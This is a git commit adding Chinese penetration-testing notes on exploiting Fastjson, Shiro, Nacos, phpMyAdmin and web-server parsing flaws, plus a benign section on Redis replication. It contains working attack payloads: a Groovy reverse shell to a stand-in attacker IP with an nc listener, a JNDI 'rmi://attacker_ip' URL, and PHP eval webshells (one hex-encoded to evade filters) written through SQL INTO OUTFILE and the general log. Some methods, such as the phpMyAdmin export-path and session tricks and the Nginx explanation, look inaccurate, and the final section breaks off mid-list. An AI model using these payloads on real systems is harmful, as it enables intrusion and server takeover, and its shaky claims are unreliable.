Add files via upload
This commit is contained in:
雾島风起時
@@ -0,0 +1,17 @@
|
||||
### Fastjson 漏洞原理
|
||||
|
||||
Fastjson 是阿里巴巴开源的一个高性能 JSON 解析库，它能够将 Java 对象序列化成 JSON 字符串，也能将 JSON 字符串反序列化成 Java 对象
|
||||
|
||||
Fastjson 漏洞的核心在于其 **自动类型转换（`AutoType`）** 功能
|
||||
|
||||
在 Fastjson 中，为了在反序列化时能够准确地恢复原始对象的类型，它提供了一个 `AutoType` 功能
|
||||
|
||||
当这个功能开启时，Fastjson 会在 JSON 字符串中加入一个特殊的字段 **`@type`**，用于标记这个 JSON 字符串对应的原始 Java 类的全限定名
|
||||
|
||||
```json
|
||||
{"@type":"com.example.User","name":"张三","age":25}
|
||||
```
|
||||
|
||||
当 Fastjson 反序列化这个 JSON 字符串时，它会首先解析 `@type` 字段，发现是 `com.example.User` 类型，然后创建一个 `User` 对象，并把 `name` 和 `age` 字段的值填充进去
|
||||
|
||||
Fastjson 在反序列化时，会无条件地信任并加载 `@type` 字段指定的类。攻击者可以利用这一点，构造一个恶意的 JSON 字符串，让 `@type` 字段指向一个可以执行恶意操作的 **Java 类**
|
||||
@@ -0,0 +1,47 @@
|
||||
### 如何判断靶标是否使用 Shiro
|
||||
|
||||
**1. 查看 HTTP 请求和响应头**
|
||||
|
||||
这是最直接也最常用的方法。当一个网站使用 Shiro 框架时，它通常会在 HTTP 响应中设置一个特定的 Cookie
|
||||
|
||||
------
|
||||
|
||||
- **Shiro Cookie:** 检查 HTTP 响应头中的 `Set-Cookie` 字段。如果存在名为 **`rememberMe`** 的 Cookie，那么目标很可能使用了 Shiro 框架
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Server: Apache-Coyote/1.1
|
||||
Set-Cookie: JSESSIONID=...; Path=/; HttpOnly
|
||||
Set-Cookie: rememberMe=...; Path=/; HttpOnly
|
||||
Content-Type: text/html;charset=UTF-8
|
||||
```
|
||||
|
||||
这个 `rememberMe` Cookie 是 Shiro 用来记住用户登录状态的。它的值是 Base64 编码的，这正是 Shiro-550 和 Shiro-721 漏洞的核心所在
|
||||
|
||||
**2. 发送特定请求并观察响应**
|
||||
|
||||
除了查看响应头，我们还可以通过发送一个带有特定 Cookie 的请求，并观察服务器的响应来进一步确认
|
||||
|
||||
- **发送带无效 RememberMe Cookie 的请求:** 发送一个 GET 请求到目标网站的任意页面，并在请求头中手动添加一个 **无效的 `rememberMe` Cookie**。例如，可以设置 `rememberMe=123`
|
||||
|
||||
```
|
||||
GET /index.jsp HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: rememberMe=123
|
||||
```
|
||||
|
||||
- **观察响应头:** 如果目标使用了 Shiro，并且 `rememberMe` 验证失败，服务器通常会在响应头中返回一个 **`rememberMe=deleteMe`** 的 Cookie，来清除浏览器中无效的 Cookie。这是 Shiro 框架的一个典型特征
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; HttpOnly
|
||||
```
|
||||
|
||||
如果看到了 `rememberMe=deleteMe`，几乎可以 100% 确定目标使用了 Shiro 框架
|
||||
|
||||
**3. 利用工具自动检测**
|
||||
|
||||
对于渗透测试工程师来说，手动测试虽然精确，但效率较低。我们可以使用一些自动化工具来快速检测
|
||||
|
||||
- **ShiroScan：** 这是一款专门用于检测 Shiro 漏洞的工具。它能够自动发送带有特定 Payload 的请求，并根据响应来判断目标是否使用了 Shiro，以及是否存在可利用的漏洞
|
||||
- **Burp Suite 插件：** 许多 Burp Suite 插件，如 **Shiro-check**，都提供了自动检测功能。你只需在代理中浏览目标网站，插件就会自动分析请求和响应，并提示是否发现了 Shiro 的痕迹
|
||||
@@ -0,0 +1,53 @@
|
||||
### Nacos 如何通过配置文件拿 Shell
|
||||
|
||||
**1. 信息收集与漏洞探测**
|
||||
|
||||
首先，需要找到目标 Nacos 服务的地址和端口。常见的默认端口是 **8848**
|
||||
|
||||
- **访问 Nacos 控制台**：通过浏览器访问 `http://<Nacos_IP>:8848/nacos`
|
||||
- **判断是否存在未授权访问**：如果无需登录即可访问控制台，则存在未授权访问漏洞
|
||||
- **尝试弱口令**：如果需要登录，可以尝试使用 Nacos 的默认弱口令，例如 `nacos/nacos`
|
||||
|
||||
**2. 构造恶意 Groovy 配置文件**
|
||||
|
||||
在获取到 Nacos 控制台的权限后，下一步是构造一个包含恶意代码的配置文件
|
||||
|
||||
- **创建新的配置**：在 Nacos 控制台中，进入“配置管理” -> “配置列表”，点击“+”号创建新配置
|
||||
- **配置参数**：
|
||||
- **Data ID**：配置的唯一标识，可以任意命名，例如 `shell.groovy`
|
||||
- **Group**：配置的分组，默认即可
|
||||
- **配置格式**：**非常关键的一步，必须选择 `Groovy`**
|
||||
- **配置内容**：在配置内容中写入恶意 Groovy 代码
|
||||
|
||||
以下是两种常见的 Groovy Shell 代码：
|
||||
|
||||
**反弹 Shell**：
|
||||
|
||||
```groovy
|
||||
def process = "bash -i >& /dev/tcp/攻击者IP/端口 0>&1".execute()
|
||||
```
|
||||
|
||||
请将 **攻击者IP** 和 **端口** 替换为你自己的 IP 地址和监听端口
|
||||
|
||||
**命令执行**：
|
||||
|
||||
```groovy
|
||||
def process = "ls -la".execute()
|
||||
def output = new StringBuilder()
|
||||
process.consumeProcessOutput(output, output)
|
||||
println output.toString()
|
||||
```
|
||||
|
||||
你可以将 `ls -la` 替换为你想要执行的任意命令
|
||||
|
||||
**3. 发布配置并触发**
|
||||
|
||||
- **发布配置**：填写好 Data ID、Group 和恶意 Groovy 代码后，点击“发布”
|
||||
- **触发条件**：
|
||||
- **应用程序加载配置**：目标应用程序需要集成 Nacos 并加载这个新发布的配置。通常，应用程序会通过 Nacos SDK 定期拉取配置。一旦应用加载了 `shell.groovy` 这个配置，Groovy 代码就会被执行
|
||||
- **配置刷新**：许多 Spring Boot 等应用框架在集成 Nacos 时，会配置自动刷新。当配置有更新时，应用会重新加载。
|
||||
|
||||
**4. 获取 Shell**
|
||||
|
||||
- **反弹 Shell**：在发布恶意配置前，需要在攻击者服务器上使用 `nc` 命令监听端口，例如 `nc -lvnp 端口`。一旦目标应用加载配置，你就会在监听端口上收到一个反弹回来的 Shell
|
||||
- **命令执行**：如果使用命令执行的方式，执行结果会显示在 Nacos 的日志或应用日志中。但这种方式需要你多次修改配置来执行不同的命令，无法形成一个交互式的 Shell
|
||||
@@ -0,0 +1,53 @@
|
||||
### Nacos 不出网利用方式
|
||||
|
||||
**1. 构造恶意 Groovy 配置文件**
|
||||
|
||||
与之前的方法类似，我们需要构造一个恶意 Groovy 脚本。这次，我们的目标是让命令执行的结果能够被我们看到
|
||||
|
||||
- **Data ID**：任意命名，例如 `internal-shell.groovy`
|
||||
- **配置格式**：`Groovy`
|
||||
- **配置内容**：
|
||||
|
||||
我们可以将命令执行的结果写入到一个可写的文件中。以下是一个示例，它会执行 `ifconfig` 命令，并将结果写入到 `/tmp/nacos-result.txt` 文件中
|
||||
|
||||
```groovy
|
||||
def process = "ifconfig".execute()
|
||||
def output = new StringBuilder()
|
||||
process.consumeProcessOutput(output, output)
|
||||
|
||||
def file = new File("/tmp/nacos-result.txt")
|
||||
file.withWriter('UTF-8') { writer ->
|
||||
writer.write(output.toString())
|
||||
}
|
||||
```
|
||||
|
||||
请将 `ifconfig` 替换为你想要执行的命令，并将 `/tmp/nacos-result.txt` 替换为一个你确定有写入权限的路径
|
||||
|
||||
**2. 发布配置并触发**
|
||||
|
||||
在 Nacos 控制台中发布这个恶意配置，等待目标应用加载配置并执行。一旦应用加载了该配置，Groovy 脚本就会在服务器上执行，并将命令执行结果写入指定的文件中
|
||||
|
||||
**3. 获取命令执行结果**
|
||||
|
||||
现在，最关键的问题是如何获取到写入文件的结果。这通常需要依赖于以下两种情况：
|
||||
|
||||
- **有文件下载或读取接口**：如果目标服务器的应用存在文件下载功能，并且我们可以控制下载路径，那么我们可以通过这个功能来下载 `/tmp/nacos-result.txt` 文件，从而获取命令执行的结果。
|
||||
- **通过 Nacos 控制台回显**：在某些情况下，Nacos 的配置加载可能会在应用的日志中打印出结果。如果我们可以访问到应用的日志，那么也可以从中获取信息。但这种方式不够稳定和通用
|
||||
|
||||
**4. 自动化命令执行（进阶）**
|
||||
|
||||
如果需要进行多次命令执行，每次都修改配置并发布会非常麻烦。我们可以利用 Nacos 的 API 来实现自动化
|
||||
|
||||
- **1.0 版本的 API**：
|
||||
- **获取配置内容**：`GET /nacos/v1/cs/configs?dataId=<dataId>&group=<group>`
|
||||
- **修改配置内容**：`POST /nacos/v1/cs/configs`
|
||||
- **2.0 版本的 API**：
|
||||
- **获取配置内容**：`POST /nacos/v2/cs/configs`
|
||||
- **修改配置内容**：`POST /nacos/v2/cs/configs`
|
||||
|
||||
我们可以编写一个脚本，循环执行以下操作：
|
||||
|
||||
1. **构造 Groovy 脚本**，将要执行的命令写入其中
|
||||
2. **通过 API 更新配置**
|
||||
3. **通过 API 获取配置**，并尝试从中提取命令执行结果（如果结果被写入配置中）
|
||||
4. **通过文件下载接口**或其他方式获取结果
|
||||
@@ -0,0 +1,3 @@
|
||||
### .do 文件是哪种框架
|
||||
|
||||
**Struts 1 框架**：为了实现更好的代码结构和分层，Struts 1 引入了控制器（Controller）的概念。它将所有请求统一通过一个核心的 `ActionServlet` 来处理。为了区分这些请求，开发者通常会为它们设置一个统一的扩展名，`.do` 就是最常见的选择
|
||||
@@ -0,0 +1,46 @@
|
||||
### Shiro 有 Key 无链怎么利用
|
||||
|
||||
**1. 内存马注入**
|
||||
|
||||
这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马，我们就可以直接与服务器进行交互，绕过 WAF、IDS 等安全设备，并且不留下任何磁盘文件
|
||||
|
||||
**利用原理**：
|
||||
|
||||
- **自定义反序列化类**：我们需要构造一个恶意的序列化数据，其中包含一个自定义的类
|
||||
- **反射机制**：这个自定义类在反序列化时，其 `readObject` 方法会被调用。我们利用反射机制，在 `readObject` 方法中获取当前应用的 `ServletContext`
|
||||
- **注入 Webshell**：有了 `ServletContext`，我们就可以动态地注册一个 Servlet、Filter 或者 Listener，从而注入一个内存 Webshell
|
||||
|
||||
**具体步骤**：
|
||||
|
||||
1. **编写内存马代码**：使用 Java 编写一个内存马，通常是一个 Filter 或 Servlet，用于接收请求并执行命令
|
||||
2. **构造恶意序列化数据**：将内存马代码嵌入到序列化数据中
|
||||
3. **加密**：使用泄露的 Shiro Key，对这个序列化数据进行 AES 加密
|
||||
4. **发送请求**：将加密后的数据作为 RememberMe cookie 的值发送到服务器
|
||||
5. **反序列化**：Shiro 框架会解密并反序列化这个 cookie，从而触发我们的恶意代码，实现内存马注入
|
||||
|
||||
**优势**：
|
||||
|
||||
- **绕过传统安全设备**：内存马直接运行在内存中，不依赖于文件，因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
|
||||
- **无文件落地**：攻击不留下任何磁盘痕迹，增加了溯源的难度
|
||||
|
||||
**2. RMI 远程加载**
|
||||
|
||||
这种方法利用了 Java 的远程方法调用（RMI）机制，通过反序列化来触发远程加载恶意代码
|
||||
|
||||
**利用原理**：
|
||||
|
||||
- **JNDI 注入**：反序列化时，我们可以构造一个 `com.sun.jndi.rmi.registry.RegistryContext` 对象，通过 JNDI 注入的方式，让服务器去连接一个我们控制的 RMI 服务器
|
||||
- **远程加载 Class 文件**：RMI 服务器会返回一个恶意对象，该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件
|
||||
|
||||
**具体步骤**：
|
||||
|
||||
1. **搭建 RMI Server**：利用 `ysoserial` 或自定义代码搭建一个恶意的 RMI 服务器
|
||||
2. **编写恶意 Class**：编写一个恶意的 Class 文件，其中包含要执行的命令
|
||||
3. **构造恶意序列化数据**：构造一个包含 JNDI 注入链接的序列化数据，例如 `rmi://attacker_ip:port/EvilObject`
|
||||
4. **加密并发送**：使用 Shiro Key 对数据进行加密，并作为 RememberMe cookie 发送
|
||||
5. **反序列化触发**：服务器反序列化时，会触发 JNDI 注入，连接我们的 RMI 服务器并加载恶意 Class，最终实现命令执行
|
||||
|
||||
**限制**：
|
||||
|
||||
- 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
|
||||
- Java 版本对 JNDI 注入有一定限制，高版本可能需要额外配置
|
||||
@@ -0,0 +1,56 @@
|
||||
### Redis 主从复制原理
|
||||
|
||||
**1. 工作原理概述**
|
||||
|
||||
Redis 主从复制本质上是**从节点主动向主节点请求数据同步**的过程。它通过两种方式来完成数据的同步：
|
||||
|
||||
1. **全量复制：当从节点第一次连接主节点，或者无法进行增量复制时，主节点会把所有数据完整地同步给从节点
|
||||
2. **增量复制：在主从连接断开后重新连接时，主节点会尝试只同步断开期间产生的写命令，以减少数据同步的开销
|
||||
|
||||
**2. 复制过程详解**
|
||||
|
||||
**2.1 建立连接与请求同步**
|
||||
|
||||
从节点启动后，会根据配置文件中的 `slaveof <master_ip> <master_port>` 命令，向主节点发起连接。一旦连接建 立，从节点会发送 `PSYNC ? -1` 命令，表明它希望进行同步，并请求主节点的复制ID和复制偏移量
|
||||
|
||||
**2.2 全量复制**
|
||||
|
||||
全量复制是数据同步的“大动作”，通常发生在以下情况：
|
||||
|
||||
- 从节点首次连接主节点
|
||||
- 主从连接断开时间过长，无法进行增量复制
|
||||
|
||||
这个过程主要分为以下几个步骤：
|
||||
|
||||
1. **主节点执行 `BGSAVE`**：主节点会创建一个子进程，将当前内存中的所有数据快照保存到一个 **RDB 文件**中。这个过程是**非阻塞**的，主节点仍然可以继续处理客户端的请求
|
||||
2. **主节点发送 RDB 文件**：一旦 RDB 文件生成完毕，主节点会将其通过网络发送给从节点
|
||||
3. **主节点缓存新命令**：在 RDB 文件生成和传输期间，主节点会将所有新产生的写命令缓存在一个**复制积压缓冲区**中
|
||||
4. **从节点清空并加载数据**：从节点接收到 RDB 文件后，会先清空自身所有旧数据，然后加载 RDB 文件。加载完成后，从节点就拥有了与主节点在 RDB 生成那一刻完全一致的数据
|
||||
5. **主节点发送缓存命令**：RDB 加载完成后，主节点会将之前在缓冲区中缓存的所有新命令发送给从节点，从节点接收并执行这些命令，从而实现最终的数据同步
|
||||
|
||||
**2.3 增量复制**
|
||||
|
||||
为了避免每次短暂的网络中断都触发耗时的全量复制，Redis 2.8 及以上版本引入了增量复制。它的核心在于：
|
||||
|
||||
- **复制偏移量**：主从节点都会维护一个偏移量，记录已经同步了多少字节的数据
|
||||
- **复制积压缓冲区**：主节点会维护一个固定大小的循环缓冲区。所有新的写命令都会被写入这个缓冲区
|
||||
|
||||
当主从连接断开后，从节点会记住自己的复制偏移量。重新连接时，它会发送 `PSYNC <master_replid> <offset>` 命令，请求从指定偏移量开始同步
|
||||
|
||||
主节点收到请求后，会检查从节点请求的偏移量是否还在自己的复制积压缓冲区中：
|
||||
|
||||
- **如果在**：说明缓冲区里有从节点需要的数据。主节点会从缓冲区中找到对应的数据，并发送给从节点，从而快速完成同步
|
||||
- **如果不在**：说明连接中断时间太长，缓冲区中的旧数据已经被新数据覆盖了。此时，主节点会强制执行**全量复制**
|
||||
|
||||
**3. Redis 主从复制的优缺点**
|
||||
|
||||
**优点**
|
||||
|
||||
- **读写分离**：可以将大量的读请求分发到从节点，减轻主节点的压力，提高系统的并发处理能力
|
||||
- **数据备份**：从节点作为主节点的数据热备，可以在主节点故障时提供数据保障
|
||||
- **高可用性**：配合哨兵（Sentinel）或集群（Cluster）模式，可以实现故障自动转移，保证服务的高可用
|
||||
|
||||
**缺点**
|
||||
|
||||
- **异步复制**：主从复制是异步的，主节点将数据同步给从节点是有一个延时的。如果主节点在同步完成前发生故障，可能会造成少量数据丢失
|
||||
- **配置复杂性**：需要额外的服务器资源来部署从节点，并且需要进行维护和监控，增加了系统的复杂性
|
||||
@@ -0,0 +1,154 @@
|
||||
### phpMyAdmin 写 Shell 的方法
|
||||
|
||||
**1. 利用 `SELECT ... INTO OUTFILE` 或 `DUMPFILE`**
|
||||
|
||||
这是最常用、最经典的 phpMyAdmin 写 Shell 方法。`INTO OUTFILE` 和 `DUMPFILE` 语句都允许将查询结果写入文件
|
||||
|
||||
- **前提条件：**
|
||||
|
||||
- 数据库用户具有 `FILE` 权限
|
||||
- 目标服务器上的 MySQL 用户可以对网站目录有写入权限
|
||||
- `secure_file_priv` 参数没有被设置或被设置为可以写入的目录。如果这个参数被设置为 `NULL`，则该方法会失效
|
||||
|
||||
- **操作步骤：**
|
||||
|
||||
1. 登录 phpMyAdmin
|
||||
2. 进入 SQL 查询页面
|
||||
3. 构造并执行 SQL 语句。通常，我们会写入一个简单的 PHP WebShell
|
||||
|
||||
```sql
|
||||
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
|
||||
```
|
||||
|
||||
或者使用十六进制编码来绕过可能的过滤：
|
||||
|
||||
```sql
|
||||
SELECT 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';
|
||||
```
|
||||
|
||||
- **优点：** 简单直接，成功率高
|
||||
|
||||
- **缺点：** 依赖于 MySQL 用户的 `FILE` 权限和服务器配置
|
||||
|
||||
**2. 利用日志文件写 Shell**
|
||||
|
||||
当 `INTO OUTFILE` 无法使用时，日志文件是一个很好的替代方案。如果 MySQL 的**通用查询日志**（general log）或**慢查询日志**（slow query log）是开启的，并且日志文件可写，我们就可以利用这个特性来写入 WebShell
|
||||
|
||||
- **操作步骤：**
|
||||
|
||||
1. **查看日志状态：** 登录 phpMyAdmin，执行以下 SQL 语句来查看通用日志的开启状态和日志路径
|
||||
|
||||
```sql
|
||||
SHOW VARIABLES LIKE 'general_log';
|
||||
SHOW VARIABLES LIKE 'general_log_file';
|
||||
```
|
||||
|
||||
2. **设置日志路径：** 将日志路径设置为网站可访问的目录，例如 `/var/www/html/shell.php`
|
||||
|
||||
```sql
|
||||
SET GLOBAL general_log_file = '/var/www/html/shell.php';
|
||||
```
|
||||
|
||||
3. **开启日志：** 开启通用查询日志
|
||||
|
||||
```sql
|
||||
SET GLOBAL general_log = 'ON';
|
||||
```
|
||||
|
||||
4. **执行恶意查询：** 构造一个查询，其中包含我们的 WebShell 代码
|
||||
|
||||
```sql
|
||||
SELECT '<?php @eval($_POST["cmd"]);?>';
|
||||
```
|
||||
|
||||
这条查询语句和它的结果会被写入到 `shell.php` 文件中
|
||||
|
||||
5. **关闭日志（可选）：** 为了避免日志文件过大，可以再次关闭它
|
||||
|
||||
```sql
|
||||
SET GLOBAL general_log = 'OFF';
|
||||
```
|
||||
|
||||
- **优点：** 绕过了 `secure_file_priv` 的限制，只要有 `SUPER` 权限即可
|
||||
|
||||
- **缺点：** 需要 MySQL 用户拥有 `SUPER` 权限，并且日志功能必须是开启的，或者我们有权限开启它
|
||||
|
||||
**3. 利用 `phpMyAdmin` 导入功能**
|
||||
|
||||
这是最常用且最有效的方法之一。`phpMyAdmin` 的导入功能允许用户上传一个 `.sql` 文件，并执行其中的 SQL 语句。如果文件内容可控，我们就可以利用这个功能来写入 WebShell
|
||||
|
||||
- **前提条件：**
|
||||
|
||||
- 拥有一个可上传的 `.sql` 文件
|
||||
- 具有导入数据库的权限
|
||||
|
||||
- **操作步骤：**
|
||||
|
||||
1. 创建一个 `.sql` 文件，文件内容为写入 WebShell 的 SQL 语句。例如，使用 `SELECT ... INTO OUTFILE`
|
||||
|
||||
```sql
|
||||
-- shell.sql
|
||||
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
|
||||
```
|
||||
|
||||
2. 登录 `phpMyAdmin`，选择一个数据库
|
||||
|
||||
3. 点击导航栏的“导入”选项卡
|
||||
|
||||
4. 选择你创建的 `shell.sql` 文件，然后点击“执行”按钮
|
||||
|
||||
5. `phpMyAdmin` 会执行 `shell.sql` 中的 SQL 语句，从而在服务器上写入 WebShell
|
||||
|
||||
**4. 利用 `phpMyAdmin` 文件导出功能**
|
||||
|
||||
这个方法与导入功能相反，它利用的是导出功能。在某些配置下，`phpMyAdmin` 允许将数据库或表中的数据导出为文件。
|
||||
|
||||
- **前提条件：**
|
||||
|
||||
- 数据库用户具有 `FILE` 权限
|
||||
- `secure_file_priv` 参数没有限制
|
||||
- 需要创建一个包含 WebShell 代码的表
|
||||
|
||||
- **操作步骤：**
|
||||
|
||||
1. 登录 `phpMyAdmin`，进入一个数据库，然后点击“SQL”选项卡
|
||||
|
||||
2. 创建一个新的表，将 WebShell 代码作为一行数据插入进去
|
||||
|
||||
```sql
|
||||
CREATE TABLE `shell_table` (`data` TEXT NOT NULL);
|
||||
INSERT INTO `shell_table` (`data`) VALUES ('<?php @eval($_POST["cmd"]);?>');
|
||||
```
|
||||
|
||||
3. 点击“导出”选项卡，选择刚才创建的 `shell_table` 表
|
||||
|
||||
4. 在导出选项中，选择导出为 `.sql` 文件，并勾选“导出为独立文件”
|
||||
|
||||
5. 修改导出路径，将其指向网站可访问的目录，例如 `/var/www/html/shell.php`
|
||||
|
||||
6. 点击“执行”，`phpMyAdmin` 就会将包含 WebShell 代码的表数据导出为 `shell.php` 文件
|
||||
|
||||
**5. 利用 `phpMyAdmin` `PHPMYADMIN` 配置文件**
|
||||
|
||||
这是一种更高级、更具技巧性的方法，它利用了 `phpMyAdmin` 自身的配置文件。在某些旧版本或配置不当的环境中，`phpMyAdmin` 允许通过后台界面修改一些配置
|
||||
|
||||
- **前提条件：**
|
||||
- `phpMyAdmin` 版本存在相关漏洞，例如 `PHPMYADMIN` 4.0.0-4.0.5 之间的版本
|
||||
- 拥有足够的权限来修改配置
|
||||
- **操作步骤：**
|
||||
1. 登录 `phpMyAdmin`，进入“设置”页面
|
||||
2. 寻找允许修改文件路径或文件名的选项，例如“导出文件路径”或“临时目录”
|
||||
3. 将这些路径修改为包含 WebShell 代码的文件名，例如 `shell.php`
|
||||
4. 在某个地方输入 WebShell 代码，当 `phpMyAdmin` 尝试使用这个修改后的路径时，就会将 WebShell 代码写入文件
|
||||
|
||||
**6. 利用 `phpMyAdmin` `SESSION` 文件写 `SHELL`**
|
||||
|
||||
这个方法是利用 `phpMyAdmin` 处理会话文件时的漏洞
|
||||
|
||||
- **前提条件：**
|
||||
- `phpMyAdmin` 的会话文件可控
|
||||
- 具有足够的权限
|
||||
- **操作步骤：**
|
||||
1. 在登录 `phpMyAdmin` 的过程中，构造一个恶意的 `SQL` 查询，其中包含 WebShell 代码
|
||||
2. 由于 `phpMyAdmin` 会将会话信息保存在服务器的 `SESSION` 文件中，如果其没有对输入进行严格过滤，那么恶意代码可能会被写入 `SESSION` 文件
|
||||
3. 找到 `SESSION` 文件的路径，然后访问该文件。由于会话文件是 PHP 文件，其中的恶意代码会被执行，从而获得 WebShell
|
||||
@@ -0,0 +1,31 @@
|
||||
### 了解过哪些中间件解析漏洞
|
||||
|
||||
**1. Apache 解析漏洞**
|
||||
|
||||
Apache 的解析漏洞多与其 `.htaccess` 配置文件有关。如果攻击者可以上传一个 `.htaccess` 文件到某个目录下，就可以通过修改配置来改变文件解析规则
|
||||
|
||||
- **多后缀解析**：Apache 会从文件名的右侧向左开始解析，直到遇到一个已知的可执行后缀
|
||||
- **文件名**：`shell.php.jpg`
|
||||
- **漏洞原理**：如果 Apache 的配置文件中没有对 `.jpg` 后缀进行处理，它会继续向左解析，直到遇到 `.php`，然后将其当作 PHP 脚本执行
|
||||
- **`.htaccess` 文件覆盖**：
|
||||
- 攻击者上传一个 `.htaccess` 文件，内容为 `AddHandler php5-script .jpg`
|
||||
- 然后上传一个名为 `shell.jpg` 的文件，其中包含 PHP 代码
|
||||
- Apache 看到 `.htaccess` 文件后，会将所有 `.jpg` 文件都当作 PHP 脚本来执行，从而导致代码执行
|
||||
|
||||
**2. Nginx 解析漏洞 (Nginx + PHP-FPM)**
|
||||
|
||||
这是最著名的解析漏洞之一，尤其是在 Nginx 0.8.x 到 1.4.x 的版本中，配置不当极易引发
|
||||
|
||||
- **漏洞原理**：当 Nginx 遇到一个以 `/` 结尾的 URL 请求（例如 `http://example.com/shell.jpg/`），且该路径对应一个文件时，它会认为这是一个目录，并尝试找到目录下的默认文件（如 `index.php`）。如果找不到，它会继续将请求发送给 PHP-FPM 处理。PHP-FPM 在处理时，会认为这是一个 PHP 文件，并执行其中的代码
|
||||
- **更严重的版本**：攻击者上传 `shell.jpg`，然后访问 `http://example.com/shell.jpg/evil.php`。Nginx 会认为 `/evil.php` 需要被 PHP 处理，于是将整个 `shell.jpg` 文件发送给 PHP-FPM。PHP-FPM 在执行时会忽略 `.jpg` 部分，只执行文件中的 PHP 代码
|
||||
|
||||
**3. IIS 解析漏洞**
|
||||
|
||||
IIS 早期版本（特别是 IIS 6.0）存在多个经典解析漏洞
|
||||
|
||||
- **分号解析漏洞**：IIS 遇到 `*.asp;.jpg` 这类文件名时，会忽略分号之后的内容，将其当作 `*.asp` 文件来处理
|
||||
- **文件名**：`shell.asp;.jpg`
|
||||
- **漏洞原理**：攻击者可以上传这个文件，IIS 会将其当作 ASP 脚本执行
|
||||
- **目录解析漏洞**：IIS 6.0 会将含有 `*.asp`、`*.asa` 等可执行后缀的文件夹中的所有文件都当作可执行脚本
|
||||
- **操作**：攻击者创建一个名为 `shell.asp` 的目录，然后在该目录中上传一个名为 `image.jpg` 的文件
|
||||
- **漏洞原理**：访问 `http://example.com/shell.asp/image.jpg` 时，IIS 会将 `image.jpg` 当作 ASP 脚本执行
|
||||
@@ -0,0 +1,90 @@
|
||||
### Shiro 不出网怎么利用
|
||||
|
||||
**1. 利用内存马**
|
||||
|
||||
这是最常见且有效的方法之一。**内存马**是一种将恶意代码直接注入到目标服务器内存中的技术，它不会在磁盘上留下任何文件，因此难以被传统的杀毒软件和文件监控系统发现
|
||||
|
||||
**实现思路：**
|
||||
|
||||
- **注入 WebShell：** 通过 Shiro 反序列化漏洞执行一个内存中的 Shell 代码。这个 Shell 通常是一个 Servlet、Filter 或者 JSP 的形式。它接收你的 HTTP 请求，然后执行命令并将结果通过 HTTP 响应返回
|
||||
- **通信方式：** 你需要找到一个能够与目标服务器交互的 HTTP 端点（Endpoint）。例如，你可以注入一个 Filter，它会监听特定的 URL 路径，当你的请求命中这个路径时，Filter 就会被触发，执行你传入的命令，然后将命令执行结果作为 HTTP 响应的一部分返回给你
|
||||
|
||||
**优点：**
|
||||
|
||||
- 隐蔽性高，不依赖外网连接
|
||||
- 可以绕过很多安全检测
|
||||
- 可以实现双向通信，方便后续操作
|
||||
|
||||
**缺点：**
|
||||
|
||||
- 需要一定的 Java 基础和内存马编写能力
|
||||
- 服务器重启后，内存马会消失
|
||||
|
||||
**2. 利用 JRMP 协议进行反向连接**
|
||||
|
||||
如果目标服务器能够出网，但限制了 HTTP/HTTPS 协议，你还可以尝试通过其他协议进行反向连接。JRMP（Java Remote Method Protocol）是 Java RMI (Remote Method Invocation) 的底层协议，可以用于远程调用对象
|
||||
|
||||
**实现思路：**
|
||||
|
||||
- **创建 JRMPListener：** 在你的攻击机上运行一个 JRMPListener，这个 Listener 监听一个端口，等待目标服务器连接
|
||||
- **Shiro 利用链：** 使用 Shiro 反序列化漏洞，在目标服务器上执行一段代码，这段代码会去连接你的 JRMPListener
|
||||
- **获取 Shell：** 一旦连接建立，你可以通过这个通道在目标服务器上执行命令或者进行其他操作
|
||||
|
||||
**优点：**
|
||||
|
||||
- 利用 JRMP 协议，绕过一些基于 HTTP/HTTPS 的网络限制
|
||||
|
||||
**缺点：**
|
||||
|
||||
- 依然需要目标服务器能够出网
|
||||
- 需要编写或使用专门的 JRMP 利用工具
|
||||
|
||||
**3. 利用文件操作**
|
||||
|
||||
虽然不能出网，但我们仍然可以利用 Shiro 反序列化漏洞来操作服务器上的文件
|
||||
|
||||
**实现思路：**
|
||||
|
||||
- **写入 WebShell：** 通过反序列化漏洞，执行文件写入操作，将一个 WebShell 文件（例如 `webshell.jsp`）写入到目标服务器的 Web 目录下
|
||||
- **利用已有的 WebShell：** 如果你发现服务器上已经存在一个可写的目录，或者存在一些可以被利用的日志文件等，也可以将命令执行的结果写入到这些文件中
|
||||
|
||||
**具体步骤：**
|
||||
|
||||
- 使用 `URLDNS` 或者其他利用链来验证漏洞存在性
|
||||
- 找到一个可写的路径，例如 `webapps/ROOT/` 目录
|
||||
- 构造一个恶意的序列化 payload，其中包含写入文件的操作。例如，可以使用 `CommonsCollections` 或者 `Jdk7u21` 等利用链，然后调用 `Runtime.exec()` 来执行 `echo "恶意代码" > /path/to/shell.jsp` 命令
|
||||
|
||||
**优点：**
|
||||
|
||||
- 不需要服务器出网
|
||||
- 操作直观，容易理解
|
||||
|
||||
**缺点：**
|
||||
|
||||
- **权限问题：** 需要目标服务器用户具有写入权限
|
||||
- **路径问题：** 需要知道 Web 目录的绝对路径，或者通过其他方式推测
|
||||
|
||||
|
||||
|
||||
**4. 命令执行带回显**
|
||||
|
||||
如果目标服务器不出网，但我们仍然可以执行命令，那么如何看到命令执行的结果呢？
|
||||
|
||||
**实现思路：**
|
||||
|
||||
- **写入文件，然后读取：** 执行命令，并将命令执行的结果重定向到一个可读的目录，例如 Web 目录下的一个新文件。然后，你再通过浏览器访问这个文件，就可以看到命令执行的结果了
|
||||
- **利用报错：** 构造一个特殊的命令，使得命令执行结果作为错误信息输出。例如，一些命令在执行失败时会返回有用的信息
|
||||
|
||||
**具体步骤：**
|
||||
|
||||
- **写入文件：** `ls -la > /tmp/result.txt`
|
||||
- **再读取文件：** 再次构造反序列化 payload，执行 `cat /tmp/result.txt`，然后将结果写入到可访问的 Web 文件中，或者通过其他方式带出
|
||||
|
||||
**优点：**
|
||||
|
||||
- 不依赖网络连接
|
||||
|
||||
**缺点：**
|
||||
|
||||
